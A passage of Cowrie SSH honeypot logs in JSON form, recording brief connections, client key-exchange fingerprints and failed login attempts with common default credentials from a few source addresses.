0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:09:24.839333Z","src_ip":"192.109.200.78","session":"bb2f2d1973ca","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"g","password":"g","message":"login attempt [g/g] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:09:25.089665Z","src_ip":"192.109.200.78","session":"bb2f2d1973ca","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":35364,"dst_ip":"159.203.135.109","dst_port":22,"session":"bef6e85e5b33","protocol":"ssh","message":"New connection: 176.65.139.95:35364 (159.203.135.109:22) [session: bef6e85e5b33]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:09:25.102897Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:09:25.107133Z","src_ip":"176.65.139.95","session":"bef6e85e5b33","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:09:25.188358Z","src_ip":"176.65.139.95","session":"bef6e85e5b33","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ark","password":"ark","message":"login attempt [ark/ark] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:09:25.456550Z","src_ip":"176.65.139.95","session":"bef6e85e5b33","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:09:26.178296Z","src_ip":"192.109.200.78","session":"bb2f2d1973ca","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:09:26.551426Z","src_ip":"176.65.139.95","session":"bef6e85e5b33","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":57262,"dst_ip":"159.203.135.109","dst_port":22,"session":"aed9166f6382","protocol":"ssh","message":"New connection: 192.109.200.78:57262 (159.203.135.109:22) [session: aed9166f6382]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:09:28.885177Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:09:28.893911Z","src_ip":"192.109.200.78","session":"aed9166f6382","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:09:28.980112Z","src_ip":"192.109.200.78","session":"aed9166f6382","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"password","message":"login attempt [root/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:09:29.225933Z","src_ip":"192.109.200.78","session":"aed9166f6382","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:09:30.312643Z","src_ip":"192.109.200.78","session":"aed9166f6382","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":36512,"dst_ip":"159.203.135.109","dst_port":22,"session":"c7046d814470","protocol":"ssh","message":"New connection: 176.65.139.95:36512 (159.203.135.109:22) [session: c7046d814470]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:09:31.740563Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:09:31.752317Z","src_ip":"176.65.139.95","session":"c7046d814470","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:09:31.849342Z","src_ip":"176.65.139.95","session":"c7046d814470","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"raaj","password":"raaj123","message":"login attempt [raaj/raaj123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:09:32.180613Z","src_ip":"176.65.139.95","session":"c7046d814470","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":50578,"dst_ip":"159.203.135.109","dst_port":22,"session":"185652f5dead","protocol":"ssh","message":"New connection: 159.203.92.129:50578 (159.203.135.109:22) [session: 185652f5dead]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:09:32.497217Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:09:32.501629Z","src_ip":"159.203.92.129","session":"185652f5dead","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:09:32.508468Z","src_ip":"159.203.92.129","session":"185652f5dead","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"MaHan","password":"123456","message":"login attempt [MaHan/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:09:32.518218Z","src_ip":"159.203.92.129","session":"185652f5dead","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":57266,"dst_ip":"159.203.135.109","dst_port":22,"session":"3da8b719a1dd","protocol":"ssh","message":"New connection: 192.109.200.78:57266 (159.203.135.109:22) [session: 3da8b719a1dd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:09:32.914493Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:09:32.918885Z","src_ip":"192.109.200.78","session":"3da8b719a1dd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:09:33.004772Z","src_ip":"192.109.200.78","session":"3da8b719a1dd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"elk","password":"elk@123","message":"login attempt [elk/elk@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:09:33.248878Z","src_ip":"192.109.200.78","session":"3da8b719a1dd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:09:33.267660Z","src_ip":"176.65.139.95","session":"c7046d814470","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:09:33.524852Z","src_ip":"159.203.92.129","session":"185652f5dead","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:09:34.639102Z","src_ip":"192.109.200.78","session":"3da8b719a1dd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":57282,"dst_ip":"159.203.135.109","dst_port":22,"session":"17351d3a862b","protocol":"ssh","message":"New connection: 192.109.200.78:57282 (159.203.135.109:22) [session: 17351d3a862b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:09:37.125221Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:09:37.133671Z","src_ip":"192.109.200.78","session":"17351d3a862b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:09:37.220803Z","src_ip":"192.109.200.78","session":"17351d3a862b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"P@ssw0rd","message":"login attempt [root/P@ssw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:09:37.499699Z","src_ip":"192.109.200.78","session":"17351d3a862b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":36518,"dst_ip":"159.203.135.109","dst_port":22,"session":"15db52662965","protocol":"ssh","message":"New connection: 176.65.139.95:36518 (159.203.135.109:22) [session: 15db52662965]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:09:38.283149Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:09:38.288397Z","src_ip":"176.65.139.95","session":"15db52662965","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:09:38.386809Z","src_ip":"176.65.139.95","session":"15db52662965","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:09:38.594278Z","src_ip":"192.109.200.78","session":"17351d3a862b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"test!@","message":"login attempt [test/test!@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:09:38.681558Z","src_ip":"176.65.139.95","session":"15db52662965","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:09:39.789460Z","src_ip":"176.65.139.95","session":"15db52662965","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":51488,"dst_ip":"159.203.135.109","dst_port":22,"session":"523db68daf89","protocol":"ssh","message":"New connection: 192.109.200.78:51488 (159.203.135.109:22) [session: 523db68daf89]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:09:41.227471Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:09:41.232460Z","src_ip":"192.109.200.78","session":"523db68daf89","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:09:41.314739Z","src_ip":"192.109.200.78","session":"523db68daf89","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"centos","password":"123456","message":"login attempt [centos/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:09:41.636210Z","src_ip":"192.109.200.78","session":"523db68daf89","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:09:42.720922Z","src_ip":"192.109.200.78","session":"523db68daf89","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":35394,"dst_ip":"159.203.135.109","dst_port":22,"session":"86924cead00e","protocol":"ssh","message":"New connection: 176.65.139.95:35394 (159.203.135.109:22) [session: 86924cead00e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:09:44.892523Z"}
